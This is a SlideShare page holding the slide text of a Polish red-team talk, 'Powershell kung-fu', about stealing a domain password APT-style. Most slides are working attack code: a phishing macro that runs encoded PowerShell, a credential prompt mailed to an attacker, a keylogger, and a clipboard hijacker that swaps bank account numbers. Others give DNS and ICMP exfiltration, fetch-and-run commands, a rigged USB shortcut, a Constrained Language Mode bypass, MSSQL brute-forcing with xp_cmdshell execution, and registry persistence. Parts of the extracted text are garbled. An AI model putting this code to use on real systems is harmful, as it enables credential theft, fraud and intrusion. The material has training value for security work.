Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 

Recently uploaded (20)

My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 

"Powershell kung-fu" - Paweł Maziarz

  • 1. Paweł M azi ar z h ttps : //ap t mas t er c las s . c om h ttps : // i mmun i ty -s ys tems . c om Kraków 04.06.2019 Powershell kung-fu c zyli j ak wykr aś ć h as ła w s tylu AP T
  • 2. Rozdział I: Fabuła Jes teś zn any j ako Dar k Vin ci i dos tałeś zlec en i e n a zdobyc i e h as ła d omen ow ego j edn ego z pr ac own i ków f i r my St eam C or p – Wik t or a V. Jego h as ło pozwoli zalogować s i ę do ter mi n ala, dzi ęki któr emu. . . Vincent Gates Lucius Torvalds Steam Jobs
  • 4. whois Paweł Maziarz • Ojciec Dark Lorda / Dark Vinci • Współojciec Immunity Systems • Trener APT Masterclass • Blogger? (https://aptm.in/) Zainteresowania: • Socjotechnika • Bezpieczeństwo fizyczne (RFID, zamki) • Złośliwe oprogramowanie, honeypoty • Kowalstwo, piece rakietowe
  • 5. Rozdział II: Rekonesans - s y s t e m o p e r a c y j n y : a k t u a l i z o w a n y W i n d o w s 10 - w i ę k s z o ś ć i n ż y n i e r ó w w f i r m i e w y k o r z y s t u j e G i t h u b a , p a s t e b i n a - w y c h o d z ą c y r u c h H T T P / H T T P S , F T P j e s t m o n i t o r o w a n y - w o r g a n i z a c j i u ż y w a ny j e s t O u t l o o k
  • 6. Rozdział III: Plan A - Dostarczenie: phishing z dokumentem Excela i złośliwym makrem - Payload: monit o hasło - Eksf iltracja: wysyłka hasła mailem - Narzędzie egzekucji: Powershell
  • 7. Rozdział IV: Powershell - Dos t ęp ny n a k ażdym n ow ym Wi n d ows i e - O g r omn e możliw oś ci – j ęzyk s kr yptowy dla .N ET - Koch any p r zez r ed i blu e teamy – t on y pr ojek t ów - O pen s ou r ce, cr os s plat for m
  • 8. Rozdział V: Monit o hasło i wysyłka mailem iex (iwr https://raw.githubusercontent.com/samratas hok/nishang/master/Gather/Invoke- CredentialsPhish.ps1) $Outlook = New-Object -ComObject Outlook.Application $Mail = $Outlook.CreateItem(0) $Mail.To = "darkvinci@pmlabs.net" $Mail.Subject = (Invoke-CredentialsPhish) $Mail.Body = (ipconfig /all)|out-string $Mail.Send()
  • 9. Rozdział VI: Phishing i złośliwe makro Sub Workbook_Open Shell "powershell -enc YwBhAGwAYwAuAGUAeAB lAA==" End Sub
  • 10. Rozdział VI: Phishing i złośliwe makro Sub Workbook_Open Shell "cmd /c powershell -enc YwBhAGwAYwAuAGUAeABl AA==" End Sub
  • 11. Przerzucili Wiktora do grupy VIP. Nie ma dostępu do poczty, ruch do publicznych hostów po TCP i UDP zablokowany. Od czasu do czasu ktoś przynosi mu coś na USB. W załączeniu schemat wycinka sieci. Jeszcze jedno, Wiktor stał się wyczulony na kwestie bezpieczeństwa.
  • 13. Rozdział VII: Plan B - Na r z ę d z i e e g z e k u c j i : P o w e r s h e l l - Pay l o a d : k e y l o g g e r, p o d s ł u c h i w a n i e s c h o w k a - E k s f i l t r a c j a : D N S , I C M P - D o s t a r c z e n i e : p e n d r i v e , k t ó r y j e s t p e n d r i v e m - P r e z e n t y o d s i e b i e : o w s z e m ; >
  • 14. Rozdział VIII: Keylogger $Path = $env:tempkeys while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { $state = $API::GetAsyncKeyState($ascii) if ($state -eq -32767) { $null = [console]::CapsLock $virtualKey = $API::MapVirtualKey($ascii, 3) $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) $mychar = New-Object -TypeName System.Text.StringBuilder $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download
  • 15. Rozdział VIII: Keylogger $virtualKey = $API::MapVirtualKey($ascii, 3) https://aptmasterclass.com/ps1/enc/ [System.Text.Encoding]::Unicode.GetString([System.Con vert]::FromBase64String("JAB2AGkAcgB0AHUAYQBsAE sAZQB5ACAAPQAgACQAQQBQAEkAOgA6AE0AYQBwAF YAaQByAHQAdQBhAGwASwBlAHkAKAAkAGEAcwBjAG kAaQAsACAAMwApAA0ACgA="))|iex
  • 16. Rozdział IX: Schowek for (;;) { get-clipboard -format text | out-file "$env:tempclip" start-sleep 1 } # gift no 1 :> $slup = "57114000003586487411566642" for (;;) { $a = get-clipboard -format text $a | out-file "$env:tempclip" if (($a -match "^[0-9 -]+$") -and (($a -replace "[^0-9]","").Length -eq 26)) { Set-Clipboard $slup } start-sleep 1 }
  • 17. Rozdział X: Eksfiltracja DNS filter tb64 {[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_))} filter thx { ($_.ToCharArray()|%{ "{0:X2}" -f [int]$_ }) -join "" } filter chunks($c) { $t=$_;0..[math]::floor($t.length/$c)|%{$t.substring($c*$_,[math]::min($c, $t.length-$c*$_))} } filter dots($c) { ($_ -replace "([w]{$c})","`$1.").trim('.') } whoami|out-string|tb64|thx|chunks 120|dots 32|%{Resolve-DnsName -type a "$_.$((++$i)).foo.aptmc.pl"}
  • 18. Rozdział X: Eksfiltracja DNS iwr https://raw.githubusercontent.com/aptmasterclass/powershell- kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex whoami | Invoke-DNSExfil foo.aptmc.pl
  • 19. Rozdział XI: Infiltracja DNS (Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex Resolve-DnsName -Type TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]:: FromBase64String($_.strings))}|iex [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT msg10.aptmc.pl).strings|sort) -join "" -replace "[d].","")))|iex
  • 20. Rozdział XII: Własny DNS #! /usr/bin/env python from scapy.all import DNS, DNSQR, DNSRR, IP, send, sniff, sr1, UDP IFACE = "enp1s0" DNS_SERVER_IP = "77.55.217.157" BPF_FILTER = "udp port 53 and ip dst %s" % DNS_SERVER_IP def dns_responder(local_ip: str): def get_response(pkt: IP): if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0): if True: reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=local_ip)) send(reply, verbose=0, iface=IFACE) return " response sent to: %s" % pkt[IP].src return get_response sniff(filter=BPF_FILTER, prn=dns_responder(DNS_SERVER_IP), iface=IFACE)
  • 21. Rozdział XIII: Eksfiltracja ICMP $ICMPClient = New-Object System.Net.NetworkInformation.Ping $r=$ICMPClient.Send("steam.aptmc.pl", 10, ([text.encoding]::ASCII).GetBytes("Hello, hackers!")) [System.Text.Encoding]::ASCII.GetString($r.Buffer) iwr https://raw.githubusercontent.com/aptmasterclass/powers hell-kungfu/master/exfil/Invoke-ICMPExfil.ps1 | iex whoami | Invoke-ICMPExfil steam.aptmc.pl
  • 22. Rozdział XIII: Eksfiltracja ICMP #! /usr/bin/env python # sysctl net.ipv4.icmp_echo_ignore_all=1 from scapy.all import * def handle_ping(pkt): if (pkt[2].type == 8): try: dst=pkt[1].dst src=pkt[1].src seq = pkt[2].seq id = pkt[2].id load=pkt[3].load print "payload from %s: %s" % (src, load) reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1] send(reply,verbose=False) except: pass if __name__=="__main__": iface = "enp1s0" filter = "icmp and icmp[0]=8" sniff(iface=iface, prn=handle_ping, filter=filter)
  • 23. Rozdział XIV: Eksfiltracja $domain = "foo.aptmc.pl" $files = "$env:tempkeys","$env:tempclip" $interval = 5 for (;;) { start-sleep $interval $files | % { cat $_ | Invoke-ICMPExfil $domain cat $_ | Invoke-DNSExfil $domain } }
  • 24. Rozdział XV: Pendrive $w = New-Object -ComObject WScript.Shell $desktop = [system.environment]::GetFolderPath("Desktop") $link = $w.CreateShortcut("$desktopraporty.lnk") $link.TargetPath = 'powershell.exe' $link.arguments = ' -ep bypass .boot.ps1’ $link.IconLocation = "C:WindowsSystem32Shell32.dll,3" $link.save() > $null
  • 25. Rozdział XVI: Bootstrapper start -WindowStyle hidden powershell -argumentlist "-ep bypass .confkeys.ps1" start -WindowStyle hidden powershell -argumentlist "-ep bypass .confclip.ps1" start -WindowStyle hidden powershell -argumentlist "-ep bypass .confexfil.ps1"
  • 26. Jest Problem. Wielki Administrator włączył Powershell Constrained Language Mode.
  • 27. Rozdział XVII: Powershell Constrained Language Mode https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ [Environment]::SetEnvironmentV ariable('__PSLockdownPolicy', '4', 'Machine') $ExecutionContext.SessionState. LanguageMode
  • 28. PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage PS C:Usersdrg PS C:Usersdrg> powershell -v 2 Windows PowerShell Copyright (C) 2009 Microsoft Corporation. All rights reserved. PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode FullLanguage PS C:Usersdrg Rozdział XVII: Powershell Constrained Language Mode
  • 29. Rozdział XVIII: Powershell bez powershella // SharpPS.cs using System.Management.Automation.Runspaces; public class SharpPS { public static void Main(string[] args) { string cmd = System.IO.File.ReadAllText(@args[0]); RunspaceConfiguration cfg = RunspaceConfiguration.Create(); Runspace spc = RunspaceFactory.CreateRunspace(cfg); spc.Open(); Pipeline pipeline = spc.CreatePipeline(); pipeline.Commands.AddScript(cmd); pipeline.Invoke(); } } C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe /r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e 35System.Management.Automation.dll /unsafe /platform:anycpu /out:SharpPS.exe SharpPS.cs PS C:Usersdrg> .SharpPS.exe .payload.ps1 https://lolbas-project.github.io/
  • 30. Rozdział XIX: C# z Powershella $source=@" using System.Windows.Forms; namespace Foo { public static class Bar { public static void Hello() { MessageBox.Show("Hello World"); } } } "@ Add-Type -TypeDefinition $source -ReferencedAssemblies System.Windows.Forms [Foo.Bar]::Hello()
  • 32. Rozdział XX: Powershellem przez MSSQL # Poproś o listę zarejestrowanych usług MSSQL w AD $spns = @() $s = [ADSISearcher]([ADSI]"") $s.filter = "(servicePrincipalName=MSSQLSvc/*)" $s.FindAll() | % { $_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% { $spns += $_.Split("/")[1] } } $spns C:Usersdrg> setspn.exe -Q MSSQLSvc/* MSSQL_01 https://aptm.in/mssql3 PS C:Usersdrg> (setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique
  • 33. Rozdział XX: Powershellem przez MSSQL # Sprawdź czy można się zalogować na podane credentiale $_user = "sa" $_pass = "Comaarch!2011" $_host = "172.16.0.10" $Connection = New-Object System.Data.SQLClient.SQLConnection $Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass" try { $Connection.Open() echo "[OK] $_user@$_host - $_pass" } catch [Exception] { echo "[ERR] $_user@$_host - $_pass" } MSSQL_01 https://aptm.in/mssql1 https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf
  • 34.
  • 35.
  • 36.
  • 37.
  • 38. Rozdział XX: Powershellem przez MSSQL # Uruchom polecenie w w systemie operacyjnych $_user = "sa" $_pass = "P@ssw0rd" $_host = "172.16.0.15" $_query = "exec xp_cmdshell 'whoami'" $Connection = New-Object System.Data.SQLClient.SQLConnection $Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass" $Connection.Open() $command = $connection.CreateCommand() $command.CommandText = $_query $result = $command.ExecuteReader() $table = new-object "System.Data.DataTable" $table.Load($result) echo $table MSSQL_01 https://aptm.in/mssql2 $_query = @' exec sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; '@
  • 39. Rozdział XX: Powershellem przez MSSQL PS C:> (new-object net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/ powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex PS C:> Invoke-MSSQLSPNSearchBruteAndExec | ft Host User Password Command Output ---- ---- -------- ------- ------ 2012r2.alphacorp.ad sa P@ssw0rd whoami nt authoritysyst... piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authoritysyst... PS C:> MSSQL_01 https://aptm.in/mssql3
  • 40. Rozdział XXI: Niezapomnianym być Registry Value: Available memory (latest format)1 MB (standard format) $path="HKCU:SoftwareMicrosoftWindows" $name="Signature" $value="aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQB wAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4 AA==" New-ItemProperty -Path $path -Name $name -Value $value -PropertyType String -Force powershell -w h -enc (gp HKCU:SoftwareMicrosoftWindows).Signature